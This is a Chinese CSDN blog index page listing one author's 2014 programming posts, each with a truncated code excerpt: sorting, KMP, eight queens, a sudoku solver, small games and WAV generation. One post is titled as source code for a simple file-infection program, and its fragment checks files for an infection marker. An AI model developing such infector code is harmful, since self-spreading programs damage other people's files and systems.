PhantomIG-CSDN博客

原创 Haskell 的快速排序

我一直以为，c++已经够简洁的了，今天看了haskell的语法，写了一遍快排，这。。。partation (x:xs) = partation (dropWhile (x<) xs)++(x:partation (takeWhile (x<) xs))partation _=[]main=print(partation [5,9,8,7,6,4,3,2,1])dropWhile的意思是

2014-03-31 21:48:36 2553 1

原创解数独的算法

这应该是DFS的优化版吧------虽然在内存上相当于没优化。#include#include#includeusing namespace std;struct Unit{ int Amount; int Data; int vis[10]; Unit(){ Amount=0; Data=-1; mem

2014-03-09 21:47:12 492

原创一种小游戏模型嗯类似RPG?

package com.example.com_skillu;//package com.example.com_skillu;import java.util.Vector;import java.util.Random;import java.util.Collections;import android.widget.TextView;public class GameJudge

2014-03-09 21:43:01 608

原创几种数据结构

研究了几种数据结构，并手写了一遍练练手.Queue:#includestruct FQueue{ struct DataPack{ int iData; DataPack *p; DataPack(int _iData=0,DataPack *_p=NULL){iData=_iData;p=_p;} }; DataPack *QueueTop,*Now; FQueue

2014-03-09 21:38:26 405

原创非常简单的感染程序源代码

种子程序源码：#include#include#includeint FileLastAddr=0;const char FESymbol[5]="over";bool ifExist(char* FileName){ char SymbolTemp[5]; FILE *fp=fopen(FileName,"rb"); fseek(fp,-(sizeof(FESymbo

2014-03-09 21:35:17 1242

原创求一组数据中最大/第二大等等的O（N）算法

在《算法导论》中看到的，自己实现了一下。#include #include #include void swap(int *a,int *b){ int c=*a; *a=*b; *b=c;}int* Random_Selector(int *Left,int *Right){ int Average=*(Left+rand()%(Right-Le

2014-03-09 21:31:47 500

原创一个不太完全的高精度算法

写到激情处，发现没有定义小数点，很无语。#include#include#includechar* swapdir(char* str){ if(str[0]=='-')return str+1; if(str[0]=='+'){str[0]='-';return str;} char* cstr=(char*)malloc((strlen(str)+2)*sizeof(char)

2014-03-09 21:26:50 366

原创一个小蜜蜂游戏的源代码

看了书后有一个贪吃蛇，突然觉得自己也可以写这类代码。但是用system("cls")会导致各种闪屏，所以用了gotoxy()函数。在编写过程中，我明白了框架清晰的重要性。#include #include #include #include #define Weigh 75#define Heigh 25#define BeeLine 3#define BulletMaxAmo

2014-03-09 21:24:29 2618 1

原创如何生成一个正弦波形WAV

参考了很多资料，什么WAV头啊之类的，了解结构之后便写了出来。本来这个程序我是用Java实现的，但是没有C++快，于是翻译成了C++，不幸的是，翻译后各种错误，原因竟是那可恨的Char。#include #include #include #include using namespace std;#define BufferSize 1024const double PI=acos

2014-03-09 21:22:02 2195

原创 Kmp算法

#include #include using namespace std;int sonString(char* stringSon,char* string){ int *p=(int*)malloc(strlen(stringSon)*sizeof(int)); int Amount=strlen(stringSon); int i,j; for(i=0;i!=Amount;i

2014-03-09 21:17:30 359

原创一种能将字符串转换为算式并给出结果的算法

这个算法，应该是我到大学写的第一个递归，其实要点就是那个括号总是不匹配，解决方法就是自己写个计数器。主文件：#include#include#include#include#includeusing namespace std;string LastErrorText="";string LastText="";extern string sonsin(string

2014-03-09 21:12:41 1315

原创归并算法

归并算法，我当初看这个算法时觉得相当容易的感觉，但写起来确实很糟糕，总之写起来很微妙的感觉，改了许多次终于正确了。#include#includevoid Merge_Sort(int *iStart=NULL,int *iEnd=NULL,int *iResult=NULL){ if(iResult==NULL){iResult=iStart;} if(iStart>=iEnd)re

2014-03-09 21:06:39 433 1

原创八皇后问题

这应该是一个非常基础的算法了没有什么多说的，写一个专门用来判断下一步合不合法的函数就可以解决了#include bool v[8][8];int SolveAmount=0;bool Ok(int x,int y){ for(int i=0;i<=x;i++)if(v[i][y])return false; int i=1; while(x>=i&&y>=i)if(v[x-i

2014-03-09 21:00:57 346